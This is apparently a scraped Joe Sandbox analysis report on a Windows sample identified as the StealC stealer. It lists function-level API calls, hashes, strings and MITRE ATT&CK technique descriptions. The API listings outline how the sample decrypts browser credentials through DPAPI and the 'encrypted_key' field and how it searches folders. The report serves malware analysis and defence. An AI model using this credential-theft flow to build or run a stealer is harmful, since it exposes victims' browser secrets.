Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: ebbce613f4a40908f4b7d63f00cc0f6a9295f610e0bf97f69366744094046ef6
Instruction ID: 0563d9efdef768516c2c1f49df6074fce70fc0769b5f742442f9662262040c9e
Opcode Fuzzy Hash: ebbce613f4a40908f4b7d63f00cc0f6a9295f610e0bf97f69366744094046ef6
Instruction Fuzzy Hash: C7510172D10118ABDB08FBA0FC56DED77B8AF54300F449539F41677192EE746A09CBA2

Function 00E270D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s, xrefs: 00E27111, 00E27114
s, xrefs: 00E272AE, 00E27179, 00E2717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00E2718C

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3520659465
Opcode ID: 9b0fc912955ab828a5797528b81781b4f70c66319712a3a0085e2361cc8cd7f9
Instruction ID: 48cf1fdb9707667a11200c04ce75a68df7be01a275eb3ea724788c4d1b28be4f
Opcode Fuzzy Hash: 9b0fc912955ab828a5797528b81781b4f70c66319712a3a0085e2361cc8cd7f9
Instruction Fuzzy Hash: 5C5171B1D04228DBDB24EB90EC55BEEB3B4AF44304F2451A8E15577181EB746E88CF55

Function 00E23560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 53787555341a1fca1e3dea80cf4809127c6c7e21a438fca01f51bf5a29816cea
Instruction ID: 03023b1f4276f2b188d010e5b2bbf5992e43fa57b3c290cb1a07fd40ab37ef8c
Opcode Fuzzy Hash: 53787555341a1fca1e3dea80cf4809127c6c7e21a438fca01f51bf5a29816cea
Instruction Fuzzy Hash: 254131B1D10219EFCB08EFB4E859AFEB7B8AF44304F049429E41677251DB759A05CFA1

Function 00E19CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E199EC
Part of subcall function 00E199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E19A11
Part of subcall function 00E199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E19A31
Part of subcall function 00E199C0: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E19A5A
Part of subcall function 00E199C0: LocalFree.KERNEL32(00E1148F), ref: 00E19A90
Part of subcall function 00E199C0: CloseHandle.KERNEL32(000000FF), ref: 00E19A9A

Part of subcall function 00E28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E19D39

Part of subcall function 00E19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E19AEF
Part of subcall function 00E19AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00E14EEE,00000000,?), ref: 00E19B01
Part of subcall function 00E19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E19B2A
Part of subcall function 00E19AC0: LocalFree.KERNEL32(?,?,?,?,00E14EEE,00000000,?), ref: 00E19B3F

Part of subcall function 00E19B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E19B84
Part of subcall function 00E19B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00E19BA3
Part of subcall function 00E19B60: LocalFree.KERNEL32(?), ref: 00E19BD3

Strings

DPAPI, xrefs: 00E19D89
"encrypted_key":", xrefs: 00E19D30
, xrefs: 00E19DC1

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 94faadb114e69c364ef37cc27dd6feeed0bed33f7ff25334ba3f8f590278af44
Instruction ID: b484fc0810d8dfade579e30176162f82342f241b00bb711a61284dc3d08c961f
Opcode Fuzzy Hash: 94faadb114e69c364ef37cc27dd6feeed0bed33f7ff25334ba3f8f590278af44
Instruction Fuzzy Hash: B7314DB6D10209ABCF04DFE4EC95AEFB7B8BF48304F145559E905B7242EB309A44CBA1

Function 00E2C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00E2C74E

Part of subcall function 00E2BF9F: __amsg_exit.LIBCMT ref: 00E2BFAF

__getptd.LIBCMT ref: 00E2C765
__amsg_exit.LIBCMT ref: 00E2C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00E2C797

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: b24b37fadb6c4b614efa3cbe7f4d5136a8009bfd42b68a73da47473cb25eba8d
Instruction ID: 50aaf90e2d2e7a67b4f448e4dbd4af0bd3b0a8860284343e1c331537ab52d45c
Opcode Fuzzy Hash: b24b37fadb6c4b614efa3cbe7f4d5136a8009bfd42b68a73da47473cb25eba8d
Instruction Fuzzy Hash: 05F09A32A007349BE721BBB8BC0AB5E37E06F00724F39624AF555B61D2DB6859809E56

Function 00E24F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28E0B

lstrcat.KERNEL32(?,00000000), ref: 00E24F7A
lstrcat.KERNEL32(?,00E31070), ref: 00E24F97
lstrcat.KERNEL32(?,008F8AA0), ref: 00E24FAB
lstrcat.KERNEL32(?,00E31074), ref: 00E24FBD

Part of subcall function 00E24910: wsprintfA.USER32 ref: 00E2492C
Part of subcall function 00E24910: FindFirstFileA.KERNEL32(?,?), ref: 00E24943

Part of subcall function 00E24910: StrCmpCA.SHLWAPI(?,00E30FDC), ref: 00E24971
Part of subcall function 00E24910: StrCmpCA.SHLWAPI(?,00E30FE0), ref: 00E24987
Part of subcall function 00E24910: FindNextFileA.KERNEL32(000000FF,?), ref: 00E24B7D
Part of subcall function 00E24910: FindClose.KERNEL32(000000FF), ref: 00E24B92

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d0a0d6473ef319fe7482fb16661452ee0f5cc9396202abbb9a3ef01e5212ba74
Instruction ID: 0b9f0127210b003328d9d12ff5e4bf737aeb0ab5979d54c27a671c9daf14195f
Opcode Fuzzy Hash: d0a0d6473ef319fe7482fb16661452ee0f5cc9396202abbb9a3ef01e5212ba74
Instruction Fuzzy Hash: 2D21A0B6A0031897C764F770EC46EEE377CA754300F005694B699A3185DE7596C8CF91

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00E29860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00E145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00E14880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00E29C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00E16280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00E25510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00E217A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00E27500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00E269F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00E11220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00E26AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00E147B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00E251F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON